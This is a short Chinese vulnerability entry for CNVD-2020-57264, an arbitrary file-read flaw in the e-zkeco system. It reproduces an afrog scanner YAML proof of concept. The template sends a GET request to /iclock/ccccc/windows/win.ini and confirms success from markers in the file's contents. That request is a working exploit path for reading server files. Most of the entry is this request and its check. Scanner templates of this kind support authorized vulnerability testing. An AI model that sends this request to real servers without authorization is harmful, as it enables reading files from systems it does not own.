CNVD-2020-57264: e-zkeco-iclock-fileread

漏洞描述

e-zkeco存在本地文件读取漏洞，攻击者可以通过构造恶意请求获取服务器上的任意文件。

PoC代码[已公开]

id: CNVD-2020-57264

info:
  name: e-zkeco-iclock-fileread
  author: ThestaRY
  severity: high
  verified: true
  description: |
    e-zkeco存在本地文件读取漏洞，攻击者可以通过构造恶意请求获取服务器上的任意文件。
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264
  tags: cnvd,cnvd2020,fileread
  created: 2020/12/15

rules:
  r0:
    request:
      method: GET
      path: /iclock/ccccc/windows/win.ini
    expression: |
      response.status == 200 &&
      response.body.ibcontains(b"[fonts]") &&
      response.body.ibcontains(b"[extensions]")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2020/CNVD-2020-57264.yaml